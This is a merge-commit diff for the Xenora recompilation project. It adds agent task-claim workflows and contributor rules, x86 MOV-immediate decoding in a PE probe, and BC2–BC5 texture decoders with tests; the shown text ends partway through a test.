Merge branch 'main' into feat/gpu-compatibility-expansion

This commit is contained in:
Ranveer Soni authored and GitHub committed 2026-11-24 12:26:13 +05:30
commit 97598903e2
35 files changed
+2467 -9

No files matched your search

+67
View File
@@ -0,0 +1,67 @@
name: Agent task
description: A self-contained work item that a contributor or coding agent can claim with /claim.
title: "task: "
labels: [agent:ready]
body:
- type: dropdown
id: area
attributes:
label: Area
description: "cpu: translation, DBT, PE loading, guest startup, guest memory. gpu: RDNA2, shaders, Metal. runtime: Win32, CRT, C++ runtime, import generation, OS services, platform abstractions. shared: cross-subsystem interfaces. qa: verification, regression, security review."
options:
- cpu
- gpu
- runtime
- shared
- qa
validations:
required: true
- type: dropdown
id: priority
attributes:
label: Priority
options:
- critical
- high
- medium
- low
validations:
required: true
- type: input
id: interface
attributes:
label: Interface
description: For shared tasks, the interface name and the version or upstream commit it targets. Leave empty otherwise.
- type: textarea
id: goal
attributes:
label: Goal
description: What must be true when the task is finished, in one or two sentences.
validations:
required: true
- type: textarea
id: files
attributes:
label: Files
description: Paths the task may edit, one per line: exact paths, directories ending in "/", or globs with * and **. Two claimed tasks never overlap.
render: text
validations:
required: true
- type: textarea
id: acceptance
attributes:
label: Acceptance command
description: The exact command whose success proves the task is done. It must fail before the change. It is never run automatically; a maintainer must approve it with /approve-acceptance.
render: sh
validations:
required: true
- type: input
id: depends
attributes:
label: Depends on
description: Issue numbers that must be closed first, for example "#12, #15". Leave empty when none.
- type: textarea
id: context
attributes:
label: Context
description: Specification sections, interface notes and known limits. Public sources only.
+4 -1
View File
@@ -1,6 +1,8 @@
## Summary
<!-- What changes, and why? Link an issue if relevant. -->
<!-- What changes, and why? -->
Closes #<!-- the issue you claimed -->
## Implementation and evidence
@@ -23,6 +25,7 @@
## Checklist
- [ ] I claimed the linked issue before starting, and the claim was still mine when I opened this pull request.
- [ ] I reviewed the changes and disclosed material AI assistance below, if applicable.
- [ ] The change preserves native ARM64 and Metal-first requirements.
- [ ] I added relevant tests or explained why they are not applicable.
+9
View File
@@ -0,0 +1,9 @@
{
"lease_hours": 24,
"upstream": "ranveersoni98/Xenora",
"maintainers": ["ranveersoni98"],
"contributors": {
"ranveersoni98": ["cpu", "shared", "qa"],
"elforeign": ["gpu", "shared", "qa"]
}
}
+72
View File
@@ -0,0 +1,72 @@
name: Agent task claims
# Applies queue commands (/claim, /release, /reassign, /progress, /blocked,
# /unblock, /approve-acceptance) and audits the queue hourly. Comment and issue
# text is only parsed as data by scripts/agent_queue; it is never executed and
# never interpolated into a shell. Not yet run on GitHub.
on:
issue_comment:
types: [created]
schedule:
- cron: "17 * * * *"
workflow_dispatch:
permissions: {}
jobs:
command:
if: github.event_name == 'issue_comment' && !github.event.issue.pull_request
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: write
# One global group: claims are decided one at a time so file-overlap checks cannot race.
concurrency:
group: agent-queue
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Decide and apply
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
python3 -m agent_queue gather --repo "$GH_REPO" --no-prs > "$RUNNER_TEMP/state.json"
python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
audit:
if: github.event_name != 'issue_comment'
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: write
concurrency:
group: agent-queue
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Lapse stale claims, flag invalid tasks, write summary
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue gather --repo "$GH_REPO" > "$RUNNER_TEMP/state.json"
python3 -m agent_queue audit --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
{
echo '## Agent queue summary'
echo '```json'
python3 -m agent_queue summary --state "$RUNNER_TEMP/state.json" --now "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
+78
View File
@@ -0,0 +1,78 @@
name: Agent PR checks
# Checks pull requests against the task queue: linked claimed task, file
# ownership, overlap with other open pull requests, and independent
# verification. Runs on the base branch only: pull request code is never checked
# out or executed; changed files come from the API. Not yet run on GitHub.
on:
pull_request_target:
types: [opened, synchronize, reopened, edited]
issue_comment:
types: [created]
permissions: {}
jobs:
check:
if: github.event_name == 'pull_request_target'
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: read
pull-requests: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Check pull request
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json")
python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json"
status=0
python3 -m agent_queue pr-check --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/result.json" || status=$?
{
echo '## Agent PR check'
echo '```json'
cat "$RUNNER_TEMP/result.json"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
exit "$status"
verify:
if: github.event_name == 'issue_comment' && github.event.issue.pull_request
runs-on: ubuntu-24.04-arm
# issues: write posts the reply; actions: write re-runs the check after a recorded verification.
permissions:
contents: read
issues: write
pull-requests: read
actions: write
concurrency:
group: agent-verify-${{ github.event.issue.number }}
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Record verification and re-run the check
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json")
python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json"
python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
sha=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["pr"]["head_sha"])' "$RUNNER_TEMP/state.json")
run=$(gh run list --workflow agent-pr-checks.yml --commit "$sha" --event pull_request_target --limit 1 --json databaseId -q '.[0].databaseId // empty')
if [ -n "$run" ]; then gh run rerun "$run" || true; fi
+4
View File
@@ -42,6 +42,10 @@ jobs:
for fixture in x2 x3 x4; do
python3 "experiments/x1/fixtures/$fixture.py" --check || exit 1
done
- name: Test agent task queue
run: |
PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue
sh -n scripts/agent-queue.sh scripts/agent-sync.sh
- name: Check formatting and lint
run: |
cargo fmt --all -- --check
+13
View File
@@ -45,6 +45,19 @@ No AI slop (section 29).
Read docs/interfaces.md and docs/progress.md before implementation.
## Claiming work before you start
Several people and coding agents work on this repository at the same time. An issue with no visible claim is the only signal that a task is free, so claim before you edit anything.
1. **Check.** Read the issue's comments, assignees and labels, its linked pull requests, and open pull requests that touch the same files. If someone holds a live claim, pick another task. Do not start parallel work on a claimed task.
2. **Claim.** Comment `/claim` on the issue (or run `scripts/agent-queue.sh claim <n>`). Where the claim workflow is enabled, wait for its grant comment and the `claimed-by:<login>` label; a refusal names the reason. Where it is not enabled yet, your comment is the claim and the earliest valid claim comment wins. One issue per claim; claim follow-up tasks separately.
3. **Respect file ownership.** Two claimed tasks never edit the same files at the same time. If the issue lists files, edit only those; ask the maintainer before widening the list.
4. **Keep it alive.** A claim lapses 24 hours after the latest grant, `/progress <what changed>` comment, or push to the linked pull request. Post `/progress` at least once a day while you work. Lapsed tasks return to the queue and may be claimed by anyone.
5. **Release.** If you stop, comment `/release` so the task returns to the queue. Use `/blocked <reason>` instead if you are waiting on another task.
6. **Link.** Open the pull request from a branch named `task/<n>-<slug>` with `Closes #<n>` in its description.
An agent acting for a contributor claims in that contributor's name and must not claim work for areas that contributor may not claim (`.github/agent-queue.json`). Never remove, overwrite or ignore another person's claim; ask the maintainer to `/reassign` instead. See `docs/coordination/agent-tasks.md` when present.
## Changelog maintenance
- At the start of every engineering task, read `CHANGELOG.md` alongside the relevant project documentation. Review the existing `[Unreleased]` entries before implementation to avoid duplicating completed work.
+2 -3
View File
@@ -11,9 +11,8 @@ remains unsupported.
### Added
- Added complete gfx1030 instruction metadata generated from AMD's public RDNA 2 XML: 1,460 base forms across 21 encoding families with fields, operands, flags and allowed extension words. A committed, normalised snapshot lets `crates/isa/generate_rdna2_meta.py --check` verify the generated table offline; CI runs it.
- Added `xenora_isa::meta::identify`, which finds any gfx1030 instruction's form and exact length, including literal, SDWA, DPP and NSA words, and rejects truncated, unassigned and disallowed-extension encodings. It agrees with every LLVM-assembled fixture. Identification does not make an instruction executable: 25 forms have semantic decoding.
- Added `xenora shaders coverage [--json]` and `xenora shaders inspect <file>` for per-family coverage and stream listings that separate decoding failures from unsupported semantics.
- Added explicit claim-before-work rules for contributors and coding agents to `AGENTS.md`, `CONTRIBUTING.md` and the pull request template: check for existing claims, claim with `/claim`, keep a 24-hour lease alive with `/progress`, `/release` when stopping, and link the claimed issue. Without the claim workflow, the earliest valid claim comment wins.
- Added CPU block decoders for BC2, BC3, BC4 and BC5 (UNORM and SNORM) in `xenora-texture`, with tests whose expected texels were derived by hand from the Microsoft and Khronos block-compression specifications. Interpolated values truncate toward zero, as the existing BC1 decoder does; GPU upload and sampling of these formats are not implemented yet.
- Added `dbt::tests::sib_store_executes_through_the_native_dbt`, an independent DBT execution
test that runs the SIB store form `mov [rsp + 0x20], rbx` through the native ARM64 DBT and
verifies the value lands in guest memory.
+1
View File
@@ -6,6 +6,7 @@ Xenora is an experimental Xbox Series X|S recompilation framework for Apple Sili
- Read `README.md` and, when present, `AGENTS.md`, `docs/interfaces.md`, `docs/status.toml` and the relevant architecture decisions.
- Discuss substantial changes in an issue before implementing them; small fixes do not require prior approval.
- Claim an issue before working on it by commenting `/claim`, and check that nobody else holds a live claim first. Claims lapse after 24 hours without a `/progress` comment or a push; comment `/release` if you stop. Coding agents follow the same rules; see "Claiming work before you start" in `AGENTS.md`.
- Use a native ARM64 macOS environment with Rust and the appropriate Xcode/Metal tools. LLVM AMDGPU tools are needed for ISA fixture generation; extra tooling depends on the subsystem.
- Keep changes focused and preserve existing public interfaces unless a change is justified and documented.
+75 -5
View File
@@ -89,6 +89,14 @@ fn decode_one(slice: &[u8], rva: u32, va: u64) -> Option<CfgDecoded> {
pc += 1;
}
// Recognize the operand-size override for C7 without changing how the
// probe classifies prefixes on unrelated opcodes.
let operand_override =
b0 == 0x66 && matches!(slice.get(pc..), Some([0xc7, ..] | [0x40..=0x4f, 0xc7, ..]));
if operand_override {
b0 = slice[pc];
pc += 1;
}
let mut rex_w = false;
let mut op = b0;
@@ -142,6 +150,51 @@ fn decode_one(slice: &[u8], rva: u32, va: u64) -> Option<CfgDecoded> {
is_interp = true;
fall_through = false;
}
0xC7 => {
if let Some(&modrm) = slice.get(pc) {
pc += 1;
let mode = modrm >> 6;
let rm = modrm & 7;
if modrm & 0x38 != 0 {
mnemonic = format!("unsupported c7 extension (modrm 0x{modrm:02x})");
notes = "unknown instruction boundary".into();
fall_through = false;
} else {
pc += modrm_extra_len(modrm, slice, pc);
let imm16 = operand_override && !rex_w;
let imm_len = if imm16 { 2 } else { 4 };
if let Some(imm) = slice.get(pc..pc + imm_len) {
pc += imm_len;
let (width, value) = if imm16 {
(16, i32::from(i16::from_le_bytes(imm.try_into().unwrap())))
} else {
(
if rex_w { 64 } else { 32 },
i32::from_le_bytes(imm.try_into().unwrap()),
)
};
mnemonic = format!("mov r/m{width}, {value} (modrm 0x{modrm:02x})");
// The native C7 memory path always writes eight bytes and
// does not apply segment bases or decode a SIB byte.
is_dbt = mode == 3
|| (mode == 0 && rm != 4 && rex_w && !matches!(slice[0], 0x64 | 0x65));
is_dbt &= !operand_override;
if !is_dbt {
notes = "MOV immediate operand form lacks native semantics".into();
}
} else {
pc = slice.len();
fall_through = false;
}
}
} else {
fall_through = false;
}
if mnemonic.is_empty() {
mnemonic = "truncated c7".into();
notes = "incomplete MOV immediate encoding".into();
}
}
0xC2 => {
// RETN imm16
if pc + 2 <= slice.len() {
@@ -443,8 +496,10 @@ fn modrm_extra_len(modrm: u8, slice: &[u8], after_modrm: usize) -> usize {
extra += 1; // disp8
} else if mode == 2 {
extra += 4; // disp32
} else if mode == 0 && rm == 5 {
extra += 4; // RIP-relative disp32
} else if mode == 0
&& (rm == 5 || (rm == 4 && slice.get(after_modrm).is_some_and(|sib| sib & 7 == 5)))
{
extra += 4; // RIP-relative or SIB with no base
}
// Clamp to what's actually available
extra.min(slice.len().saturating_sub(after_modrm))
@@ -1048,7 +1103,7 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
// 1. imports.csv
let mut imports_csv = String::from(
"module,symbol_or_ordinal,iat_rva,category,registered_binding,implementation_status,is_alias,canonical_module,startup_priority,startup_cluster\n",
"module,symbol_or_ordinal,iat_rva,category,registered_binding,implementation_status,is_alias,canonical_module,startup_priority,startup_cluster,trusted_runner_binding\n",
);
let mut missing_csv = String::from("module,symbol_or_ordinal,iat_rva\n");
let mut modules = BTreeSet::new();
@@ -1058,6 +1113,9 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
let mut counts = BTreeMap::<&str, usize>::new();
let mut clusters = BTreeMap::<(u8, &str), (usize, usize)>::new();
let mut aliases = 0;
// The runner admits exactly these bytes and installs a private draw handler.
let trusted_fixture = bytes == include_bytes!("../../../fixtures/pe/trusted-runner.exe");
let mut trusted_runner_slots = 0;
let mut missing = 0;
for imp in &report.imports {
let module_key = imp.dll.to_ascii_lowercase();
@@ -1071,6 +1129,10 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
let module = imp.dll.replace('"', "\"\"");
let symbol = imp.symbol.replace('"', "\"\"");
let key = format!("\"{module}\",\"{symbol}\",0x{:08x}", imp.iat_rva);
let trusted_binding = trusted_fixture
&& imp.dll.eq_ignore_ascii_case("xenora.dll")
&& imp.symbol == "fixture_draw";
trusted_runner_slots += usize::from(trusted_binding);
let status = imp.coverage_label();
let canonical = imp.canonical_module.as_deref().unwrap_or("");
let is_alias = imp.canonical_module.is_some() && !imp.dll.eq_ignore_ascii_case(canonical);
@@ -1086,7 +1148,7 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
let canonical = canonical.replace('"', "\"\"");
let _ = writeln!(
imports_csv,
"{key},{},{},{status},{is_alias},\"{canonical}\",{priority},{cluster}",
"{key},{},{},{status},{is_alias},\"{canonical}\",{priority},{cluster},{trusted_binding}",
imp.category, imp.is_supported
);
if !imp.is_supported {
@@ -1140,6 +1202,7 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
"total_imports": {},
"imported_dlls_count": {},
"unresolved_imports": {},
"trusted_runner_binding_slots": {trusted_runner_slots},
"distinct_import_keys": {},
"distinct_symbol_names_and_scoped_ordinals": {},
"canonical_registered_services": {},
@@ -1207,7 +1270,7 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
let _ = writeln!(md, "- **Section Alignment**: `4096` bytes");
let _ = writeln!(md, "- **File Alignment**: `512` bytes\n");
let _ = writeln!(md, "## Sections Census (10)");
let _ = writeln!(md, "## Sections Census ({})", report.parsed.sections.len());
for s in &report.parsed.sections {
let _ = writeln!(
md,
@@ -1274,6 +1337,13 @@ pub fn run_probe_and_export<O: AsRef<Path>>(
"- **Unresolved standard import thunks**: `{missing}`. See `missing_imports.csv`. A registered handler may be a stub.\n"
);
if trusted_runner_slots > 0 {
let _ = writeln!(
md,
"The trusted runner supplies `xenora.dll!fixture_draw` for this fixture. The standard registry counts above exclude that private handler.\n"
);
}
let _ = writeln!(md, "## First Static DBT Blocker");
if let Some(insn) = &report.first_unsupported_dbt_insn {
let hex_bytes = insn
+60
View File
@@ -199,3 +199,63 @@ fn probe_distinguishes_aliases_from_unavailable_services() {
assert!(json.contains("\"recognized_unsupported_slots\": 1"));
std::fs::remove_dir_all(path).unwrap();
}
#[test]
fn trusted_runner_callback_and_report_match_the_fixture() {
let pe = include_bytes!("../../../fixtures/pe/trusted-runner.exe");
let path = std::env::temp_dir().join(format!("xenora-probe-trusted-{}", std::process::id()));
let report = run_probe_and_export(pe, &path, &ProbeConfig::default()).unwrap();
let read = |name| std::fs::read_to_string(path.join(name)).unwrap();
let md = read("candidate_static_report.md");
let json = read("candidate_static_report.json");
let imports = read("imports.csv");
std::fs::remove_dir_all(path).unwrap();
let callback: Vec<_> = report
.instruction_records
.iter()
.filter(|i| i.rva >= 0x1040)
.collect();
assert_eq!(
callback.iter().map(|i| i.rva).collect::<Vec<_>>(),
[0x1040, 0x1047, 0x104e]
);
assert_eq!(callback[1].bytes, [0x48, 0xc7, 0, 17, 0, 0, 0]);
assert!(callback[1].is_supported_dbt);
assert!(!callback[1].is_supported_interp);
assert!(report.first_unsupported_dbt_insn.is_none());
assert!(md.contains("Sections Census (4)"));
assert!(json.contains("\"sections_count\": 4"));
assert!(!report.imports[0].is_supported);
assert!(
imports
.lines()
.any(|line| line.contains("fixture_draw") && line.ends_with(",true"))
);
assert!(json.contains("\"trusted_runner_binding_slots\": 1"));
assert!(json.contains("\"unresolved_imports\": 1"));
}
#[test]
fn probe_consumes_complete_c7_operands_even_when_native_support_is_missing() {
for (encoding, supported) in [
(&[0x48, 0xc7, 0x05, 0, 0, 0, 0, 17, 0, 0, 0][..], true),
(&[0xc7, 0xc0, 17, 0, 0, 0], true),
(&[0x66, 0xc7, 0xc0, 17, 0], false),
(&[0xc7, 0x00, 17, 0, 0, 0], false),
(&[0x48, 0xc7, 0x40, 4, 17, 0, 0, 0], false),
(&[0x48, 0xc7, 0x04, 0x25, 0, 0, 0, 0, 17, 0, 0, 0], false),
] {
let mut pe = create_synthetic_probe_pe();
let end = 0x200 + encoding.len();
pe[0x200..end].copy_from_slice(encoding);
pe[end] = 0xcc;
let report = probe_pe_bytes(&pe, &ProbeConfig::default()).unwrap();
let records = report.instruction_records;
assert_eq!(records.len(), 2);
assert_eq!(records[0].bytes, encoding);
assert_eq!(records[0].is_supported_dbt, supported);
assert_eq!(records[1].rva, 0x1000 + encoding.len() as u32);
assert!(!records[1].is_supported_dbt);
}
}
+138
View File
@@ -0,0 +1,138 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! CPU block decoders for BC2, BC3, BC4 and BC5.
//!
//! Sources (public): Microsoft, "Texture Block Compression in Direct3D 11"
//! (sections BC2, BC3, BC4, BC5) and "Block Compression (Direct3D 10)"; Khronos
//! Data Format Specification 1.3, sections "S3TC compressed texture image
//! formats" and "RGTC compressed texture image formats".
//!
//! Colour blocks of BC2 and BC3 always use the four-colour interpolation,
//! whatever the order of their endpoints (Khronos, "S3TC compressed texture
//! image formats", DXT3/DXT5 subsections; the BC1 three-colour/alpha mode does
//! not apply). Texels are row-major, texel 0 at the top-left.
//!
//! Rounding: every interpolated value uses integer division that truncates
//! toward zero (the same rule `decode_bc1` uses). For unsigned values that is
//! floor. BC2 alpha nibbles expand as `v * 17`. The specifications define the
//! interpolation in real numbers; truncation is this crate's integer choice.
//!
//! SNORM: the specification maps both -128 and -127 to -1.0. Endpoints are
//! compared as the stored signed bytes; for interpolation -128 is treated as
//! -127. Output bytes are the stored endpoint bytes for indices 0 and 1 (so
//! -128 is preserved, not rewritten) and -127 / 127 for the fixed values.
use super::rgb565;
/// Reads texel `n` of a packed little-endian 48-bit array of 3-bit indices.
fn index3(bytes: &[u8; 6], n: usize) -> usize {
let mut bits = 0u64;
for (i, b) in bytes.iter().enumerate() {
bits |= u64::from(*b) << (8 * i);
}
((bits >> (3 * n)) & 7) as usize
}
fn unorm_palette(a0: u8, a1: u8) -> [u8; 8] {
let (x, y) = (u16::from(a0), u16::from(a1));
let mut p = [a0, a1, 0, 0, 0, 0, 0, 255];
if a0 > a1 {
for k in 1..=6u16 {
p[(k + 1) as usize] = (((7 - k) * x + k * y) / 7) as u8;
}
} else {
for k in 1..=4u16 {
p[(k + 1) as usize] = (((5 - k) * x + k * y) / 5) as u8;
}
p[6] = 0;
}
p
}
fn snorm_palette(a0: i8, a1: i8) -> [i8; 8] {
let x = i16::from(a0).max(-127);
let y = i16::from(a1).max(-127);
let mut p = [a0, a1, 0, 0, 0, 0, 0, 0];
if a0 > a1 {
for k in 1..=6i16 {
p[(k + 1) as usize] = (((7 - k) * x + k * y) / 7) as i8;
}
} else {
for k in 1..=4i16 {
p[(k + 1) as usize] = (((5 - k) * x + k * y) / 5) as i8;
}
p[6] = -127;
p[7] = 127;
}
p
}
fn unorm_block(block: &[u8]) -> [u8; 16] {
let p = unorm_palette(block[0], block[1]);
let idx: [u8; 6] = block[2..8].try_into().unwrap();
std::array::from_fn(|t| p[index3(&idx, t)])
}
fn snorm_block(block: &[u8]) -> [i8; 16] {
let p = snorm_palette(block[0] as i8, block[1] as i8);
let idx: [u8; 6] = block[2..8].try_into().unwrap();
std::array::from_fn(|t| p[index3(&idx, t)])
}
/// Decodes a BC4 UNORM block to 16 row-major red values.
pub fn decode_bc4_unorm(block: [u8; 8]) -> [u8; 16] {
unorm_block(&block)
}
/// Decodes a BC4 SNORM block to 16 row-major signed red values.
pub fn decode_bc4_snorm(block: [u8; 8]) -> [i8; 16] {
snorm_block(&block)
}
/// Decodes a BC5 UNORM block; each texel is `[red, green]` (first 8 bytes red).
pub fn decode_bc5_unorm(block: [u8; 16]) -> [[u8; 2]; 16] {
let r = unorm_block(&block[..8]);
let g = unorm_block(&block[8..]);
std::array::from_fn(|t| [r[t], g[t]])
}
/// Decodes a BC5 SNORM block; each texel is `[red, green]`.
pub fn decode_bc5_snorm(block: [u8; 16]) -> [[i8; 2]; 16] {
let r = snorm_block(&block[..8]);
let g = snorm_block(&block[8..]);
std::array::from_fn(|t| [r[t], g[t]])
}
/// Four-colour BC1-style palette, forced regardless of endpoint order.
fn colour_block(block: &[u8]) -> [[u8; 4]; 16] {
let first = u16::from_le_bytes([block[0], block[1]]);
let second = u16::from_le_bytes([block[2], block[3]]);
let mut p = [rgb565(first), rgb565(second), [255; 4], [255; 4]];
for c in 0..3 {
let a = u16::from(p[0][c]);
let b = u16::from(p[1][c]);
p[2][c] = ((2 * a + b) / 3) as u8;
p[3][c] = ((a + 2 * b) / 3) as u8;
}
let bits = u32::from_le_bytes([block[4], block[5], block[6], block[7]]);
std::array::from_fn(|t| p[((bits >> (2 * t)) & 3) as usize])
}
/// Decodes a BC2 block to 16 row-major RGBA8 texels (explicit 4-bit alpha).
pub fn decode_bc2(block: [u8; 16]) -> [[u8; 4]; 16] {
let mut out = colour_block(&block[8..]);
for (t, px) in out.iter_mut().enumerate() {
// Two texels per byte, low nibble first.
px[3] = ((block[t / 2] >> (4 * (t % 2))) & 15) * 17;
}
out
}
/// Decodes a BC3 block to 16 row-major RGBA8 texels (interpolated alpha).
pub fn decode_bc3(block: [u8; 16]) -> [[u8; 4]; 16] {
let mut out = colour_block(&block[8..]);
let alpha = unorm_block(&block[..8]);
for (px, a) in out.iter_mut().zip(alpha) {
px[3] = a;
}
out
}
+4
View File
@@ -7,8 +7,12 @@
#![forbid(unsafe_code)]
mod bc;
pub mod sampler;
mod upload;
pub use bc::{
decode_bc2, decode_bc3, decode_bc4_snorm, decode_bc4_unorm, decode_bc5_snorm, decode_bc5_unorm,
};
pub use sampler::{AddressMode, FilterMode, SamplerDesc, SamplerError, TextureMetadata};
pub use upload::{Bc1Subresource, Bc1Upload, Bc1UploadDesc};
+219
View File
@@ -0,0 +1,219 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! Expected values are worked by hand from the Microsoft BC2-BC5 and Khronos
//! S3TC/RGTC formulas (truncating integer division); the production decoder is
//! never used to produce them.
use xenora_texture::{
decode_bc2, decode_bc3, decode_bc4_snorm, decode_bc4_unorm, decode_bc5_snorm, decode_bc5_unorm,
};
/// Packs sixteen 3-bit indices bit by bit, texel 0 in the lowest bit.
fn pack3(indices: [u8; 16]) -> [u8; 6] {
let mut out = [0u8; 6];
for (t, idx) in indices.iter().enumerate() {
for bit in 0..3 {
if (idx >> bit) & 1 == 1 {
let pos = 3 * t + bit;
out[pos / 8] |= 1 << (pos % 8);
}
}
}
out
}
fn bc4(a0: u8, a1: u8, indices: [u8; 16]) -> [u8; 8] {
let i = pack3(indices);
[a0, a1, i[0], i[1], i[2], i[3], i[4], i[5]]
}
const SEQ: [u8; 16] = [0, 1, 2, 3, 4, 5, 6, 7, 0, 1, 2, 3, 4, 5, 6, 7];
fn expect(palette: [u8; 8]) -> [u8; 16] {
std::array::from_fn(|t| palette[t % 8])
}
#[test]
fn packing_helper_matches_hand_bytes() {
// 111 110 101 100 011 010 001 000 = 0xFAC688, twice.
assert_eq!(pack3(SEQ), [0x88, 0xC6, 0xFA, 0x88, 0xC6, 0xFA]);
}
#[test]
fn bc4_unorm_eight_value_mode() {
// a0 > a1: p[k+1] = ((7-k)*200 + k*100) / 7 for k = 1..6.
// 1300/7=185, 1200/7=171, 1100/7=157, 1000/7=142, 900/7=128, 800/7=114.
let out = decode_bc4_unorm(bc4(200, 100, SEQ));
assert_eq!(out, expect([200, 100, 185, 171, 157, 142, 128, 114]));
}
#[test]
fn bc4_unorm_six_value_mode_with_zero_and_255() {
// a0 <= a1: ((5-k)*100 + k*200) / 5: 600/5=120, 700/5=140, 800/5=160,
// 900/5=180, then 0 and 255.
let out = decode_bc4_unorm(bc4(100, 200, SEQ));
assert_eq!(out, expect([100, 200, 120, 140, 160, 180, 0, 255]));
// Equal endpoints also take the six-value mode.
let out = decode_bc4_unorm(bc4(50, 50, SEQ));
assert_eq!(out, expect([50, 50, 50, 50, 50, 50, 0, 255]));
}
#[test]
fn bc4_snorm_eight_value_mode_truncates_toward_zero() {
// a0=100 > a1=-100: 500/7=71, 300/7=42, 100/7=14, -100/7=-14,
// -300/7=-42, -500/7=-71.
let b = bc4(100, 0x9C, SEQ); // 0x9C = -100
let out = decode_bc4_snorm(b);
let e: [i8; 8] = [100, -100, 71, 42, 14, -14, -42, -71];
assert_eq!(out, std::array::from_fn(|t| e[t % 8]));
}
#[test]
fn bc4_snorm_six_value_mode_with_fixed_extremes() {
// a0=-100 <= a1=100: (-400+100)/5=-60, (-300+200)/5=-20, 20, 60, -127, 127.
let out = decode_bc4_snorm(bc4(0x9C, 100, SEQ));
let e: [i8; 8] = [-100, 100, -60, -20, 20, 60, -127, 127];
assert_eq!(out, std::array::from_fn(|t| e[t % 8]));
}
#[test]
fn bc4_snorm_minus_128_is_kept_for_endpoints_and_acts_as_minus_127() {
// a0=-128 < a1=127: six-value mode, x=-127: p2=(4*-127+127)/5=-381/5=-76.
let out = decode_bc4_snorm(bc4(0x80, 127, SEQ));
assert_eq!(out[0], -128);
assert_eq!(out[1], 127);
assert_eq!(out[2], -76);
// a0=127 > a1=-128: eight-value mode, y=-127: p2=(6*127-127)/7=635/7=90.
let out = decode_bc4_snorm(bc4(127, 0x80, SEQ));
assert_eq!(out[1], -128);
assert_eq!(out[2], 90);
}
#[test]
fn every_index_position_is_read_from_its_own_bits() {
// Texel n alone uses index 1 (value 100); all others index 0 (value 200).
// Texels 2, 5, 10 and 13 span byte boundaries.
for n in 0..16 {
let mut idx = [0u8; 16];
idx[n] = 1;
let out = decode_bc4_unorm(bc4(200, 100, idx));
for (t, v) in out.iter().enumerate() {
assert_eq!(*v, if t == n { 100 } else { 200 }, "texel {t}, set {n}");
}
}
}
#[test]
fn wrong_index_bit_order_would_fail() {
// Texel 5 occupies bits 15..17 (byte 1 bit 7, byte 2 bits 0-1); texel 10
// occupies bits 30..32 (byte 3 bits 6-7, byte 4 bit 0).
let mut idx = [0u8; 16];
idx[5] = 1;
idx[10] = 2;
let b = bc4(200, 100, idx);
// Hand-checked bytes: bit 15 set; bit 31 set.
assert_eq!(&b[2..], &[0x00, 0x80, 0x00, 0x80, 0x00, 0x00]);
let out = decode_bc4_unorm(b);
assert_eq!(out[5], 100);
assert_eq!(out[10], 185);
assert_ne!(out[5], out[10]);
// A decoder reading the 48 bits most-significant first (wrong order)
// lands on different texels; show that this block tells them apart.
let bits = b[2..8]
.iter()
.rev()
.fold(0u64, |a, x| (a << 8) | u64::from(*x));
let wrong = |t: usize| ((bits >> (45 - 3 * t)) & 7) as u8;
assert_ne!(wrong(5), 1);
assert_ne!(wrong(10), 2);
}
fn colour_bytes(c0: u16, c1: u16, indices: u32) -> [u8; 8] {
let (a, b, i) = (c0.to_le_bytes(), c1.to_le_bytes(), indices.to_le_bytes());
[a[0], a[1], b[0], b[1], i[0], i[1], i[2], i[3]]
}
#[test]
fn bc2_expands_four_bit_alpha_and_always_uses_four_colours() {
// Red 0xF800 = (255,0,0), blue 0x001F = (0,0,255).
